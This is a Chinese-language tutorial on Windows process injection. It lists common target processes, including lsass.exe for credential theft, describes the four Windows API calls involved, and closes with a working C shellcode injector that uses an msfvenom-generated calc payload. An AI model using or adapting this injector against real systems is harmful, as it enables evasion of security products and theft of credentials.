想卷卷不动,想躺躺不平,这就是我现在的状态。
Process injection
攻击者可能会向进程中注入代码,以逃避基于进程的防御以及可能提升权限。进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源以及可能提升的权限。通过进程注入执行也可能逃避安全产品的检测,因为执行在合法进程下被屏蔽。
Cobalt Strike 提供了两种在远程进程中分配内存并将数据复制到其中的选项,而其中默认使用项就是使用了 VirtualAllocEx -> WriteProcessMemory 的经典模式,这模式也是红队工具中最常见的模式。此模式也适用于不同的进程体系结构。
攻击者经常注入的进程包括以下:
lsass.exe(凭证盗窃)
calc.exe(防御规避)
notepad.exe(防御规避)
svchost.exe(防御规避)
backgroundtaskhost.exe(防御规避)
dllhost.exe(通常用于托管 COM 组件,攻击者经常注入到这个进程中,以便融入一个经常执行且预计生命周期很短的进程)
regsvr32.exe(应用程序控制绕过和其他规避)
searchprotocolhost.exe(应用程序控制绕过和其他规避)。
werfault.exe(防御规避)
wuauclt.exe(防御规避)
spoolsv.exe(防御规避)
浏览器进程(标准化网络连接、信息窃取/银行木马)
经典组合
常用的进程注入需要用到4个Windows Api,
OpenProcess - OpenProcess函数可以返回已有进程对象的句柄。
VirtualAllocEX - VirtualAllocEx函数用于分配内存,同时赋予对内存地址的访问权限。
WriteProcessMemory - WriteProcessMemory函数可以将数据写入指定进程中的内存区域。
CreateRemoteThread - CreateRemoteThread函数将创建一个新线程,该线程运行在另一个进程的虚拟地址空间。
OpenProcess
OpenProcess 函数打开一个现有的进程对象。
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
VirtualAllocEx
首先分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
WriteProcessMemory
将 shellcode 写入该缓冲区
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
CreateRemoteThread
创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
demo
#include<Windows.h>
#include<stdio.h>
#include <stdlib.h>
// msfveom -p windows/x64/exec CMD=calc -exitfunc=thread -f c
unsigned char buf[] = "";
int main(int argc, char* argv[]) {
HANDLE Process = OpenProcess((DWORD)PROCESS_ALL_ACCESS, (BOOL)FALSE, atoi(argv[1]));
printf("Inject PID: %d", atoi(argv[1]));
void* exec = VirtualAllocEx(Process, NULL, sizeof(buf), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
BOOL Memory = WriteProcessMemory((HANDLE)Process, (LPVOID)exec,(LPCVOID)buf, sizeof buf, NULL);
HANDLE thred = CreateRemoteThread((HANDLE)Process, (LPSECURITY_ATTRIBUTES)NULL, (SIZE_T)0, (LPTHREAD_START_ROUTINE)exec, (LPVOID)NULL, (DWORD)0, (LPDWORD)NULL);
}